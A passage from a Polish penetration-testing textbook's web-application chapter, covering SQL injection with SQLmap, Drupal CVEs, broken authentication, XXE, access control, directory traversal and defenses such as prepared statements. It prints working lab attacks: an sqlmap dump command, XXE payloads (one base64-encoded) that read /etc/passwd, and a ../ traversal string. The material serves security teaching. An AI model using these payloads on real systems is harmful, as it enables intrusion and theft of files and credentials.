jest rm -rf ~/.sqlmap/. Spowoduje ono wyczyszczenie zawartości katalogu .sqlmap z wszyst-
kich danych, jakie program do tej pory zebrał. To właśnie w tym katalogu program przecho-
wuje dane sesji oraz informacje o wszystkich wykrytych podatnościach. Dobrze jest czyścić
zawartość tego katalogu po zakończeniu pracy, aby nie przechowywać niepotrzebnie danych
należących do klienta.
Za pomocą programu SQLmap można też pobrać zawartość tabel wybranej bazy danych.
Aby uzyskać dane z tabel naszej przykładowej bazy danych pony, należy posłużyć się poniższym
poleceniem.
sqlmap -u "http://192.168.48.104/ponyapp/?id=1&image=derpy.png" --dump -D pony

Program wypisze dane z obu tabel (oraz dodatkowe komunikaty informacyjne, które powinny
wyglądać tak jak poniższe:
+----+-------------+----------+
| id | username | password |
+----+-------------+----------+
| 1 | pinkiepie | cupcakes |
| 2 | rainbowdash | bestpony |
| 3 | applejack | yeehaw |
| 4 | derpy | afdsfs |
+----+-------------+----------+

+----+---------------+-----------------------+
| id | image | description |
+----+---------------+-----------------------+
| 1 | derpy.png | Derpy says hi |
| 2 | dashie.png | Rainbow dash! |
| 3 | pinkiepie.png | Computers are awesome |
+----+---------------+-----------------------+

3681988c430c7fe1e8567c4e2f281f7b
3
Wstrzykiwanie 431

Wyobraź sobie teraz, że jest to specjalna aplikacja sieciowa należąca do Twojego klienta, która
przechowuje wrażliwe dane klientów zapisane w bazie danych MySQL lub dowolnej innej. Po wy-
kryciu podatności na ataki wstrzykiwania poleceń SQL możesz względnie łatwo wykonać kopię
wszystkich tych informacji i zapisać ją na swoim komputerze.
Programu SQLmap można używać wszędzie tam, gdzie jeszcze nie udało się nam potwierdzić
istnienia podatności na wstrzykiwanie. Programowi można podać obiecujący adres URL, co do któ-
rego podejrzewamy, że dałoby się go wykorzystać w ten sposób. Trzeba jednak pamiętać, że pro-
gram SQLmap nie działa dyskretnie. Wysyła on wiele różnych żądań, generuje na serwerze wiele
błędów i generalnie jest bardzo „głośny”. Ma też niższą skuteczność wykrywania podatności w po-
równaniu z działaniami ręcznymi, dlatego nie należy go stosować jako jedynej metody wykrywania
podatności na ataki wstrzykiwania poleceń SQL. Zwykle lepiej jest najpierw ręcznie sprawdzić wy-
brane adresy, a dopiero potem przekazać programowi SQLmap dokładne parametry definiujące
testy, jakie ma on przeprowadzić.

Drupageddon
Drupageddon to podatność oznaczona numerem CVE-2014-3704, związana z możliwością wstrzy-
kiwania poleceń SQL; dotyczy ona nie tylko pojedynczej aplikacji sieciowej, ale niemal wszystkich
aplikacji używających systemu Drupal CMS (oczywiście tylko pewnych jego wersji). Podatność
otrzymała swoją nieoficjalną nazwę z powodu zagrożenia, jakie powodowała. Nie jest to taka sama
podatność jak ta, którą zaprezentowaliśmy wcześniej. Ten błąd pozwala na całkowite pominięcie
mechanizmów uwierzytelniania wbudowanych w system Drupal, a dodatkowo umożliwia wy-
konywanie własnego kodu. W systemie Drupal znaleziono też kilka innych poważnych błędów
(w ostatnich latach takich błędów ujawniono naprawdę wiele), takich jak CVE-2018-7600 (nazwany
Drupalgeddon 2) albo CVE-2018-7602 (Drupalgeddon 2; zwróć uwagę na to, że teraz w nazwie
pojawiła się litera l), choć trzeba tu zaznaczyć, że w tych dwóch przypadkach nie mamy do czynie-
nia z podatnościami wstrzykiwania poleceń SQL. Błąd Drupageddon umożliwiał zdalne wykony-
wanie kodu i był powszechnie wykorzystywany do rozprowadzania oprogramowania do kopania
kryptowalut. Takie programy działały na zainfekowanych komputerach i bez wiedzy ich właścicieli
zajmowały się kopaniem kryptowalut dla atakującego. We frameworku Metasploit znajdziesz też
moduł związany z błędem CVE-2014-3704, który zadziała również na aplikację z laboratorium na-
szej książki. Sam exploit wykorzystuje atak wstrzykiwania poleceń SQL, aby uzyskać uprawnienia
administratora w systemie, a następnie wykorzystuje uzyskany dostęp (i funkcje systemu Drupal),
aby przesłać kod PHP, co umożliwia atakującemu uzyskanie dostępu do zdalnej powłoki.

Ochrona przed atakami wstrzykiwania poleceń SQL

Główną metodą ochrony przed wstrzykiwaniem poleceń SQL jest używanie tak zwanych przygoto-
wanych instrukcji (ang. prepared statements), nazywanych też sparametryzowanymi zapytaniami
(ang. parametrized queries). Chyba nie istnieje żaden programista pracujący w sieci WWW, który
nie słyszałby o zagrożeniach wynikających z ataków wstrzykiwania poleceń SQL, a mimo to takie
błędy pojawiają się w aplikacjach znacznie częściej, niż można by przypuszczać. Czasami jako
ochrona przed takimi atakami stosowane są filtry nakładane na dane pochodzące od użytkownika.

3681988c430c7fe1e8567c4e2f281f7b
3
432 Rozdział 12  Aplikacje sieciowe

Nie jest to jednak doskonała metoda ochrony, dlatego swoim klientom należy zalecać stosowanie
sparametryzowanych zapytań. Część z tych problemów pojawia się wtedy, gdy programiści korzy-
stają z zewnętrznych bibliotek, zakładając, że znajdujący się w nich kod jest poprawny i bezpieczny.
Okazuje się jednak, że często to właśnie takie biblioteki są źródłem wykrywanych podatności, po-
nieważ nie kontrolują danych otrzymywanych na poziomie API, ale oczekują, że takie kontrole zo-
staną wykonane przez programistów jeszcze przed przekazaniem tych danych do funkcji biblioteki.

PRZYGOTOWANE INSTRUKCJE

Przygotowana instrukcja (ang. prepared statement) jest czymś w rodzaju szablonu dla zapytania.
Sama instrukcja zostaje skompilowana przez system relacyjnej bazy danych, ale wartości po-
szczególnych parametrów pozostają w niej niezdefiniowane. Oto przykład:
INSERT INTO products VALUES (?, ?);

Użytkownik aplikacji jest w stanie podać wartości niezbędne do wykonania tego zapytania,
ale nie ma możliwości wpływania na postać tego zapytania, ponieważ zostało ono już wcześniej
skompilowane. Zmienne są powiązane z parametrami funkcji i w związku z tym ich wartości są
traktowane w ten sposób, nawet jeżeli atakujący zdoła dopisać do nich poprawną instrukcję
SQL. Tak przygotowana instrukcja nie musi jednak korzystać z żadnych zewnętrznych informacji.

Kolejnym problemem są programiści, który nie korzystają z parametryzowanych zapytań w każ-

dym miejscu w aplikacji, ale używają ich tylko w miejscach, co do których sądzą, że mogą być do-
stępne dla użytkowników. Trzeba tu zaznaczyć, że wstrzykiwanie poleceń SQL jest problemem do-
skonale znanym w branży oprogramowania, co wynika między innymi z wielu publicznie ujawnionych
włamań, które zostały wykonane za pomocą takich ataków. Mimo to wielu specjalistów z branży
IT błędnie uważa, że ten problem został już dawno temu rozwiązany. Nadal jest to jeden z najczę-
ściej wykrywanych i wykorzystywanych błędów odpowiedzialnych za ogromną liczbę włamań
do aplikacji.

Inne błędy wstrzykiwania poleceń

Wstrzykiwanie poleceń SQL nie jest jedynym rodzajem ataków związanych ze wstrzykiwaniem,
które mogą wpływać na działanie aplikacji sieciowych. Już wcześniej prezentowaliśmy kilka innych
ataków tego typu, takich jak ataki wstrzykiwania poleceń systemu operacyjnego lub wstrzykiwania
poleceń serwera LDAP. Podobnie poważnym zagrożeniem są ataki wstrzykiwania NoSQL albo
wstrzykiwania XML, o których będziemy mówić w dalszej części książki.

Niepoprawne uwierzytelnianie
Niepoprawne uwierzytelnianie jest specjalną klasą podatności i błędów, w której mechanizmy sto-
sowane do logowania uprawnionych użytkowników aplikacji i blokowania dostępu użytkownikom
nieuprawnionym nie działają zgodnie z oczekiwaniami. Jako przykład weźmy pliki cookie sto-
sowane przez aplikacje sieciowe do przechowywania informacji o sesjach użytkowników. Jeżeli ta-
kie pliki można zmanipulować, przez co anonimowy użytkownik może się podawać za innego,

3681988c430c7fe1e8567c4e2f281f7b
3
Niepoprawne uwierzytelnianie 433

uwierzytelnionego użytkownika, to jest to naprawdę poważny problem. Czasami zdarza się też, że
można całkowicie pominąć proces logowania użytkownika przez wprowadzenie specjalnie sprepa-
rowanego ciągu znaków w polu nazwy użytkownika.
Jeżeli aplikacja umożliwia atakującemu przeprowadzenie ataku siłowego, to zgadnięcie po-
prawnej kombinacji nazwy użytkownika i hasła jest tylko kwestią czasu. Taką sytuację również
należy uznać za poważny problem.
Aplikacje sieciowe nie powinny pozwalać użytkownikom na stosowanie słabych haseł, takich
jak Haslo1, 12345678 albo admin. Jeżeli hasła są przechowywane w postaci skrótów wygenerowanych
silnym algorytmem haszującym, to również należy uznać, że proces uwierzytelniania nie działa
prawidłowo.
W ramach prostego przykładu przyjmijmy, że mamy plik cookie przechowujący zapis ai_user=john.
Gdyby udało się zmienić ten zapis tak, żeby wprowadzić nazwę innego użytkownika, a system umoż-
liwiłby dostęp do sesji tego użytkownika, byłby to kolejny przykład niepoprawnie działającego uwie-
rzytelniania. Aplikacja ufa użytkownikowi i uznaje, że będzie on właściwie informował o swojej
tożsamości! Nasz mechanizm dwuetapowego uwierzytelniania w portalu VPN jest podatny na taki
atak, ponieważ nazwę użytkownika można po prostu zapisać w pliku cookie. Po uzyskaniu tej in-
formacji możesz wrócić do wcześniejszego rozdziału i spróbować wykorzystać ten błąd do pomi-
nięcia procesu uwierzytelniania w tym portalu.
Masz już dość informacji, by zacząć poszukiwanie oznak źle działającego uwierzytelniania. Gdy
tylko zobaczysz w aplikacji formularz logowania użytkownika, możesz w nim przetestować typowe
kombinacje nazw użytkowników i haseł. Jeżeli masz możliwość zarejestrowania nowego konta użyt-
kownika, to koniecznie sprawdź, jak działają mechanizmy kontrolujące siłę hasła, aby się upewnić,
że są one wystarczające w kontekście sprawdzanej aplikacji sieciowej.
W przypadku niektórych aplikacji warto pomyśleć o zastosowaniu uwierzytelniania wielo-
składnikowego, i to nie tylko jako dodatkowej opcji dla użytkowników, ale jako nieusuwalnego
elementu procesu uwierzytelniania. Wypróbuj też każdą wykrytą funkcję pozwalającą na odzyska-
nie zapomnianego hasła. Czy taka funkcja wymaga tylko udzielenia odpowiedzi na jakieś proste
pytanie w stylu „podaj nazwisko panieńskie swojej matki”? Tego typu zabezpieczenia nie są wy-
starczające, ponieważ odpowiedzi na te pytania można zwykle łatwo znaleźć na przykład w sieciach
społecznościowych. Poprawnie skonstruowany proces odzyskiwania hasła wymaga wysłania na ad-
res użytkownika (zarejestrowany i potwierdzony) wiadomości e-mail zawierającej token aktywny
przez ograniczony czas.
Jeżeli chodzi o tokeny sesji, to powinny się one zmieniać przy każdym zalogowaniu i wylogo-
waniu użytkownika. Dodatkowo tokeny powinny się przedawniać po upływie pewnego czasu.
Jeżeli zauważysz, że pliki cookie pozostają niezmienione mimo wylogowania i ponownego zalogo-
wania użytkownika (co jest nazywane przypiętą sesją — ang. session fixation), to bardzo możliwe jest,
że wystarczy podmiana pliku cookie, żeby uzyskać dostęp do sesji innego użytkownika. Używając
uwierzytelnionego wcześniej pliku cookie z sesją innego użytkownika, można uzyskać dostęp do
konta tego użytkownika w aplikacji. Do przechwytywania i modyfikowania plików cookie można
wykorzystać dowolny przechwytujący serwer proxy.
Na zakończenie prowadzonych prac warto też przeprowadzić atak siłowy. Nieudane próby lo-
gowania powinny doprowadzić do zablokowania atakowanego konta użytkownika. Czasami taka
blokada może (a nawet powinna) zostać wprowadzona w sposób niewidoczny dla atakującego.

3681988c430c7fe1e8567c4e2f281f7b
3
434 Rozdział 12  Aplikacje sieciowe

Natomiast w tle system powinien wysłać na potwierdzony wcześniej adres zarejestrowanego użyt-
kownika e-mail z informacją o fakcie i przyczynach zablokowania konta. Wszystkie próby ataków
siłowych należy przeprowadzać na kontach specjalnie zarejestrowanych w badanej aplikacji, tak
żeby nasze próby nie powodowały kłopotów w pracy pozostałych użytkowników serwisu.
Wiele aplikacji sieciowych jest jednak bardzo „gadatliwych”, szczególnie jeżeli chodzi o proces
uwierzytelniania. Jeżeli aplikacja informuje o tym, że podaliśmy „nieprawidłową nazwę użytkow-
nika” albo „nieprawidłowe hasło”, to możemy wykorzystać to na naszą korzyść, bo to ułatwia wy-
szukiwanie poprawnych kombinacji nazw użytkowników i haseł. Lepszym rozwiązaniem ze strony
aplikacji byłaby informacja o podaniu „niepoprawnych danych uwierzytelniających”, przez co ata-
kujący nie będzie wiedział, czy choć jedna z podanych informacji była prawidłowa.

Dobrym źródłem informacji na temat błędów w mechanizmach uwierzytelniają-

cych (i nie tylko) jest strona CWE (Common Weakness Enumeration). Jest to lista różnych
rodzajów błędów w oprogramowaniu, która jest tworzona przez społeczność programistów
i dostępna pod adresem https://cwe.mitre.org. Każda pozycja na tej liście otrzymuje swój
numer (na przykład CWE-384 to Session Fixation), co wygląda podobnie do systemu CVE.
W tym przypadku nie chodzi jednak o gromadzenie informacji o konkretnych znanych po-
datnościach, ale o definiowanie rodzajów i klas błędów, do których można przypisywać
znalezione podatności.

Ujawnianie wrażliwych danych

Większość aplikacji sieciowych obsługuje przynajmniej trochę wrażliwych danych, takich jak ad-
resy e-mail, hasła, nazwiska albo fizyczne adresy. Takie informacje powinny być zawsze przesyłane
szyfrowanymi kanałami komunikacji, czyli za pomocą protokołu HTTPS, a miejsce ich przecho-
wywania również powinno być odpowiednio zabezpieczone. To znaczy, że wrażliwe dane powinny
być zaszyfrowane, natomiast hasła — zapisane wyłącznie w postaci skrótów kryptograficznych.
(Hasła nigdy nie powinny być szyfrowane w sposób umożliwiający ich odtworzenie).
W zaprezentowanym wcześniej przykładzie wstrzykiwania poleceń SQL byliśmy w stanie wy-
świetlić nazwy użytkowników oraz hasła zapisane w tabeli pony. Wszystkie te hasła były zapisane
w tabeli w postaci jawnej. Oznacza to, że swojemu klientowi musimy przekazać w raporcie nie tylko
informację o problemie z podatnością na wstrzykiwanie poleceń SQL, ale również wytknąć fakt
przechowywania niezabezpieczonych haseł, co również jest poważnym błędem. Trzeba pamiętać,
że nawet w przypadku załatania problemu ze wstrzykiwaniem poleceń SQL atakujący mogą pozy-
skać te hasła za pomocą innej metody. Jeżeli jednak już teraz zajmiemy się tą sprawą, to pozbawimy
możliwości złamania hasła każdego, kto w przyszłości włamałby się do bazy danych.
Warto też sprawdzić, jakie informacje przesyła aplikacja przez port TCP 80. Zwykle nie po-
winno to być zbyt wiele danych. Właściwie to nie powinno tam być żadnego ruchu sieciowego, być
może poza początkową odpowiedzią przekierowującą HTTP 302. Z całą pewnością nie powinni-
śmy tam widzieć żadnych nazw użytkowników, haseł, tokenów sesji ani innych prywatnych da-
nych, ponieważ niezabezpieczony ruch na tym porcie może zostać przechwycony i odczytany przez
dowolną osobę odpowiednio osadzoną w strukturze sieci.

3681988c430c7fe1e8567c4e2f281f7b
3
Zewnętrzne encje XML 435

Ważną rolę odgrywają też takie narzędzia jak SSLscan i skrypty programu Nmap związane
z protokołem SSL. Mimo że aplikacja szyfruje przesyłane dane, to często zdarza się, że stosuje star-
sze wersje protokołów, a wtedy można sprawdzić, czy nie udałoby się wykorzystać jednego z błę-
dów istniejących w starszych implementacjach. Za wrażliwe informacje można uznać również nazwy
i numery wersji stosowanego oprogramowania, ponieważ te dane umożliwiają atakującemu łatwe
wyszukanie exploitów pasujących do tej wersji. Z tego powodu należy starać się jak najbardziej
unikać podawania tych informacji w jakiejkolwiek formie.

Zewnętrzne encje XML

Nie jest niczym dziwnym, że aplikacje sieciowe przyjmują od użytkowników dane zapisane w for-
macie XML. Mogą w ten sposób pobierać na przykład treści notatek na blogu albo informacje
o sprzedawanych produktach. Niestety takie działanie może stanowić poważne zagrożenie dla apli-
kacji, jeżeli dokumenty XML są w niej parsowane, a używany do tego parser nie zostanie odpo-
wiednio zabezpieczony. W języku XML encja jest elementem, który może przechowywać dane.
Zewnętrzna encja XML (XXE — Xml External Entity) to skrót opisujący pochodzącą z zewnątrz
encję przechowującą parametry lub ogólne dane, która nie istnieje w samym dokumencie XML.
Encji zewnętrznych można używać na przykład do definiowania plików znajdujących się na serwe-
rze. Jeżeli atakującemu udałoby się użyć takiej encji, to może w ten sposób uzyskać możliwość od-
czytywania wrażliwych plików z hosta przez wysyłanie dokumentów XML do podatnej aplikacji.
Oto przykład takiego dokumentu, który mógłby zostać przesłany do podatnej aplikacji i posłużyć
w niej do odczytania pliku /etc/passwd z systemu operacyjnego.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Wyobraź sobie, że użytkownik ma możliwość przesłania tego dokumentu XML w ciele żądania
typu POST do aplikacji sieciowej, która może przyjmować żądania w formacie XML. Oznacza to,
że aplikacja musi parsować dokument z każdego żądania, a jeżeli używany przez nią parser ma
włączoną obsługę zewnętrznych encji, to z pewnością spróbuje odczytać plik /etc/passwd. Co więcej,
jeżeli aplikacja może również wysyłać odpowiedzi w formacie XML, to nic nie stoi na przeszkodzie,
żeby odesłała zawartość tego pliku również umieszczoną w dokumencie XML. Jeżeli aplikacja
jest podatna na taki atak, to czasami może wyświetlić takie wrażliwe dane jako część komunikatu
o błędzie powstałym w aplikacji, a czasami nawet wyświetlić je wśród normalnych danych pokazy-
wanych na ekranie. Zwykle wykorzystanie takich podatności nie jest jednak aż tak proste. Nawet
jeżeli zawartość podatnych plików nie jest wyświetlana bezpośrednio, to nie oznacza, że ktoś nie
uzyskał dostępu do tego pliku, ponieważ istnieją inne sposoby na pozyskanie jego zawartości. Ataki
XXE są zatem bardzo podobne do ataków wstrzykiwania poleceń SQL i innych. Bo w zasadzie cho-
dzi tu o podatność na wstrzykiwanie, która do tej pory nie była traktowana wystarczająco poważnie.
Poniżej zademonstrujemy atak XXE, wykorzystując do tego laboratorium naszej książki oraz kilka
specjalnych narzędzi.

3681988c430c7fe1e8567c4e2f281f7b
3
436 Rozdział 12  Aplikacje sieciowe

CVE-2014-3660
CVE-2014-3660 dotyczy systemu Drupal i pozwala na załadowanie zewnętrznych encji, co jest wy-
nikiem błędu parsera XML używanego przez ten system. Ta operacja może zostać wykonana przez
nieuwierzytelnionego użytkownika systemu Drupal CMS, a umożliwia odczytywanie wrażliwych
plików, w tym i należącego do systemu Drupal pliku settings.php.
Przejdź teraz do tej części aplikacji sieciowej z laboratorium naszej książki, w której można
przesyłać dokumenty XML. W tym przypadku łącze do odpowiedniej strony jest dobrze widoczne
już na głównej stronie aplikacji. Użyj modułu Interceptor w programie Burp Suite, aby przechwycić
żądanie wysłane przez przeglądarkę. Zobaczysz, że mamy tu do czynienia z żądaniem typu GET
o parametrach /?q=xml/node/2. Kliknij prawym przyciskiem myszy to żądanie i wybierz z menu
kontekstowego pozycję Send To Repeater. W ten sposób zyskasz możliwość wysyłania nieco zmo-
dyfikowanych żądań, co pozwala sprawdzić, jak działają dokumenty XML i jak można znaleźć
w aplikacji podatność.

Jeżeli wśród nagłówków dołączanych do żądania znajdują się odwołania do pli-

ków cookie pochodzące z poprzednich prac, to lepiej jest usunąć je przed wysłaniem kolej-
nego żądania.

Zauważ, że po wysłaniu do aplikacji żądania GET w module Repeater odpowiedź będzie zawie-
rała nagłówek Content-Type o wartości application/xml. W treści takiej odpowiedzi zawsze znaj-
duje się dokument XML.
Możesz spróbować wysłać do serwera mały dokument XML, żeby sprawdzić, czy ten odeśle
w odpowiedzi inny dokument XML. Przed wysłaniem tego żądania zmień jednak jego typ z GET na
POST. Tę zmianę możesz wprowadzić w edytorze dostępnym w module Repeater.
Czasami przełączenie typu żądania z POST na GET sprawia, że aplikacja niechcący ujawnia różne
informacje. Ogólna zasada mówi, że aplikacje powinny obsługiwać żądania typu GET do przekazy-
wania informacji do użytkownika, natomiast żądania typu POST mają służyć do pobierania infor-
macji, które mogą w jakiś sposób wpływać na stan serwerowej części aplikacji. To, że aplikacja
przyjmuje dokumenty w żądaniach typu POST, nie jest niczym niezwykłym. Możesz spróbować
już teraz wysłać to żądanie, ale w odpowiedzi otrzymasz jedynie komunikat o błędzie. Aby wszystko
zadziałało, musisz jeszcze dodać nagłówek Content-Type z wartością application/xml. Wyślij żą-
danie ponownie, zmieniając adres URL do postaci /?q=xml/node, i zobacz, co się stanie. Tak zmie-
nione żądanie ponownie generuje jakiś problem, ale tym razem w odpowiedzi otrzymamy już do-
datkowe informacje, które mogą nam pomóc w dalszych pracach. W odpowiedzi znajduje się
dokument XML, w którym węzeł <result> jest pusty.
Skopiuj pierwszy wiersz dokumentu XML z odpowiedzi (<?xml version="1.0" encoding="utf-8"?>)
do swojego żądania i spróbuj wysłać je ponownie. Tym razem uzyskasz odpowiedź niosącą już znacz-
nie więcej informacji. Aplikacja oczekuje, że w dokumencie znajdzie się znacznik <start>. W wielu
przypadkach warto przejrzeć dokumentację aplikacji, ponieważ w niej opisany jest sposób pracy
z dokumentami XML. Gdy już dowiesz się, jak prawidłowo przygotowywać te dokumenty, możesz
rozpocząć próby przesłania do aplikacji złośliwych żądań. Z naszego serwera możesz pobrać plik
xxe-poc.txt, zawierający opis koncepcji ataku. W tym pliku zapisany jest dokument XML dokonu-
jący najpierw wstrzyknięcia encji (ta nazywa się evil), która nie odwołuje się do pliku zapisanego

3681988c430c7fe1e8567c4e2f281f7b
3
Niepoprawna kontrola dostępu 437

na serwerze, ale przechowuje w samym dokumencie XML pewien zbiór danych zakodowanych
w formacie base64. Te dane zostały zapisane za pomocą funkcji php://filter, która umożliwia
odczytanie i zdekodowanie dowolnych danych w formacie base64. Jak sądzisz, co ukrywa się w tych
zakodowanych danych? Zanim odpowiesz, przyjrzyj się zawartości pliku xxe-poc.txt:
<!DOCTYPE root [
<!ENTITY % evil SYSTEM "php://filter/read=convert.base64-
decode/resource=data:,PCFFTlRJVFkgJSBwYXlsb2FkIFNZU1RFTSAic
GhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cm
NlPS9ldGMvcGFzc3dkIj4KPCFFTlRVFkgJSBpbnRlcm4gIjwhRU5USVRZICYjMzc7IH
RyaWNrIFNZU1RFTSAnZmlsZTovL1cwMFQlcGF5bG9hZDtXMDBUJz4iPg">
%evil;
%intern;
%trick;
]>
<xml>
<test>test</type>
</xml>

Użyj teraz modułu Decoder z programu Burp Suite, aby odkodować dane z formatu base64, albo
zastosuj polecenie echo <CiągZnakówBase64> | base64 --decode. Na ekranie zobaczysz kolejny
dokument XML, taki jak przedstawiony poniżej:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/
resource=/etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'file://
W00T%payload;W00T'>">

Jeżeli skopiujesz ten kod i umieścisz go w dokumencie XML tworzonym w module Repeater
w programie Burp Suite, a następnie ponownie wyślesz żądanie, to w pierwszej odpowiedzi otrzy-
masz tylko komunikat mówiący, że „nie można załadować zewnętrznej encji”. Jeżeli przyjrzysz się
dokładniej, to zobaczysz, że aplikacja odsyła też dodatkowy komunikat o błędzie zawierający porcję
danych zakodowanych w formacie base64. Użyj filtra php://filter, aby odczytać i wyświetlić za-
wartość danego pliku (tutaj będzie to plik /etc/passwd). Po zdekodowaniu ciągu znaków base64
przekonasz się, że masz przed sobą zawartość pliku passwd pochodzącego z serwera.
W katalogu files na naszym serwerze dostępny jest też skrypt języka Python (www.hackerhouse
´book.com/files/drupal-CVE-2014-3660.py), który automatyzuje proces wykorzystania tego błędu.
Dzięki temu skryptowi można całkowicie zautomatyzować cały ten atak. Wystarczy podać mu od-
powiednie parametry (użyj parametru local), aby uzyskać możliwość pobrania dowolnego pliku
znajdującego się na serwerze!

Niepoprawna kontrola dostępu

Aplikacje sieciowe zwykle pozwalają użytkownikom na dostęp do swoich wybranych obszarów
(funkcji lub danych), a blokują dostęp do innych. Jeżeli taka kontrola dostępu nie zostanie zaim-
plementowana poprawnie, to będą istniały sposoby na to, żeby użytkownik uzyskał dostęp do ob-
szarów, które powinny być zablokowane. W takiej sytuacji mówimy o niepoprawnej kontroli
dostępu. Czasami możliwe jest uzyskanie dostępu do takich obszarów aplikacji przez proste mani-
pulowanie parametrami żądań.

3681988c430c7fe1e8567c4e2f281f7b
3
438 Rozdział 12  Aplikacje sieciowe

Prostym przykładem niepoprawnie zaimplementowanej kontroli dostępu może być aplikacja,

która pozwala użytkownikowi na przejrzenie prywatnych informacji o innym użytkowników przez
zmianę parametrów w adresie URL. Wyobraź sobie żądanie HTTP o takiej postaci:
GET /transaction_history.aspx?accountId=102040 HTTP/1.1

Parametr accountId odnosi się do konkretnego konta użytkownika, a to żądanie spowoduje

wyświetlenie listy transakcji bankowych przypisanych do podanej wartości parametru accountId.
Jeżeli dostęp do tej strony może uzyskać użytkownik inny niż właściciel tego konta, to znaczy, że
system nie działa poprawnie. W takiej sytuacji można się zalogować jako dowolny użytkownik (na
przykład zalogować się na swoje konto), a potem zacząć przeglądać listy transakcji innych użyt-
kowników. Tutaj nie chodzi o niepoprawnie działający proces uwierzytelniania. Samo uwierzytel-
nianie użytkowników w aplikacji może działać doskonale, ale już po zalogowaniu istnieje możli-
wość przeglądania danych z kont innych użytkowników, co oznacza, że niepoprawnie funkcjonują
funkcje związane z kontrolą dostępu.
Tak proste błędy mogą się zdarzać i oczywiście się zdarzają. W 2019 roku jeden z większych
banków w Wielkiej Brytanii wykonał aktualizację swojego sieciowego systemu bankowego. Ten pro-
ces nie przebiegł zgodnie z planem i pojawiły się zgłoszenia kilku zauważonych błędów. Niektórzy
klienci twierdzili, że po zalogowaniu się na swoje konto widzą transakcje i salda kont, które nie
należą do nich. Działo się tak nawet bez żadnej próby hakowania systemu. Skoro taki błąd zdarzył
się w produkcyjnym systemie jednego z poważnych brytyjskich banków, to z całą pewnością może
się też pojawić w systemach najróżniejszych innych organizacji.
Aplikacja musi sprawdzać, czy każdy użytkownika ma właściwe prawa lub uprawnienia pozwa-
lające mu na dostęp do danego obiektu, czyli pliku lub strony zawierającej pewne informacje.

Przechodzenie przez katalogi

W laboratorium tej książki ukrywa się też mały błąd pozwalający na przechodzenie przez katalogi. Aby
zbadać ten błąd, należy posłużyć się tym samym adresem URL, którego używaliśmy podczas analizowa-
nia podatności na wstrzykiwanie poleceń SQL (http://<AdresIP>/ponyapp/?id=1&image=derpy.png).
W tym adresie podatność na wstrzykiwanie poleceń związana jest z parametrem id, ale nigdy nie
przeanalizowaliśmy dokładniej parametru image. Na pierwszy rzut oka można odnieść wrażenie,
że ten parametr umożliwia podanie nazwy pliku, a to sprawia, że może być podatny na atak prze-
chodzenia przez katalogi. Ten rodzaj ataków omawialiśmy już we wcześniejszych rozdziałach, dla-
tego wiemy, że umożliwiają one dostęp do plików znajdujących się poza domyślnym katalogiem
(co wymaga użycia takich ciągów znaków jak ../../). Aby sprawdzić podatność parametru na ten
błąd, wystarczy nam tylko przeglądarka. Najpierw przyjrzyj się kodowi źródłowemu tej strony (pli-
kowi HTML), używając do tego jednej z funkcji swojej przeglądarki. Wyszukaj w nim znacznik
umieszczający obrazek na stronie. Najłatwiej jest to zrobić, klikając ten obrazek prawym przyci-
skiem myszy i wybierając z menu kontekstowego pozycję Zbadaj element (to działa w przeglądarce
Firefox). Zauważysz wtedy, że między otwierającym i zamykającym znacznikiem img znajdują się
dane zakodowane w formacie base64 — to właśnie są dane wyświetlanego obrazka. Spróbuj zatem
zastąpić w adresie URL (w pasku adresu przeglądarki) nazwę pliku derby.png, umieszczając w jej
miejsce ścieżkę do pliku /etc/passwd, a potem ponownie skontroluj kod źródłowy strony HTML.

3681988c430c7fe1e8567c4e2f281f7b
3
Niepoprawna konfiguracja zabezpieczeń 439

Tym razem zobaczysz, że w dokumencie brakuje danych w formacie base64, co oznacza, że podana
nazwa pliku jest nieprawidłowa. W adresie URL dopisz znaki ../ przed nazwą pliku etc/passwd
i spróbuj ponownie. Czy coś się zmieniło? Próbuj dodawać kolejne sekwencje ../ do czasu, aż po-
nownie w dokumencie pojawią się dane w formacie base64. Prawdopodobnie wystarczy do tego
ciąg znaków w postaci ../../../../../../../../etc/passwd. Gdy tylko aplikacja ponownie
zwróci jakieś dane, spróbuj je odkodować za pomocą modułu Decoder w programie Burp Suite.
Po zdekodowaniu przekonasz się, że aplikacja przesłała Ci zawartość pliku /etc/passwd. Do deko-
dowania danych możesz też użyć języka Python i modułu base64. Wystarczy otworzyć interak-
tywny terminal Pythona i wpisać w nim polecenie import base64. W ten sposób zaimportujesz
moduł base64 razem z wszystkimi jego funkcjami, co pozwoli na szybkie kodowanie i dekodowanie
danych. Od tego momentu możesz używać poniższego polecenia, przy czym musisz w nim zastąpić
znacznik <dane> ciągiem znaków base64 pobranym ze znacznika img po wykonaniu skutecznego
ataku przechodzenia przez katalogi:
base64.b64decode("<dane>")

Niepoprawna konfiguracja zabezpieczeń

Już wcześniej mówiliśmy o nieprawidłowej konfiguracji. To coś, co może wpływać na każdy system
i nie ogranicza się wyłącznie do aplikacji sieciowych. Niemniej ten problem może mieć najgroź-
niejsze skutki właśnie w aplikacjach sieciowych, ponieważ są one zwykle publicznie dostępne w in-
ternecie i przez to bardziej wystawione na ataki. W efekcie może się okazać, że wyszukiwarki za-
czynają indeksować strony, które powinny pozostać ukryte, a to umożliwia atakującym dostęp do
kont użytkowników aplikacji albo do systemu plików hosta.
Jeżeli chodzi o aplikację sieciową, to składa się ona nie tylko z podstawowej infrastruktury (ser-
wera WWW, takiego jak Apache lub Nginx, oraz różnych powiązanych serwisów, takich jak sys-
temy relacyjnych baz danych), której elementy mogą zostać niepoprawnie skonfigurowane. Trzeba
również brać pod uwagę warstwę aplikacji oraz używany w niej framework albo cały system CMS,
stanowiące bazę dla całej aplikacji.
Naszym zadaniem jest zatem wykrycie używanego przez aplikację frameworku (na przykład
.NET, Tomcat, Struts lub Spring) albo systemu CMS (WordPress, Drupal lub Joomla), a potem
sprawdzenie, czy nie są w nich używane domyślne dane uwierzytelniające. Aby poznać te domyślne
dane, wystarczy tylko zajrzeć do dokumentacji danego systemu lub frameworku. (I nigdy nie za-
pominaj o możliwości użycia konta użytkownika admin z hasłem admin).
W przypadku większości dostępnych systemów CMS okazuje się, że pozostawiają one na ser-
werze swoje skrypty instalacyjne, pliki protokołów instalacji oraz pliki konfiguracyjne, a bardzo
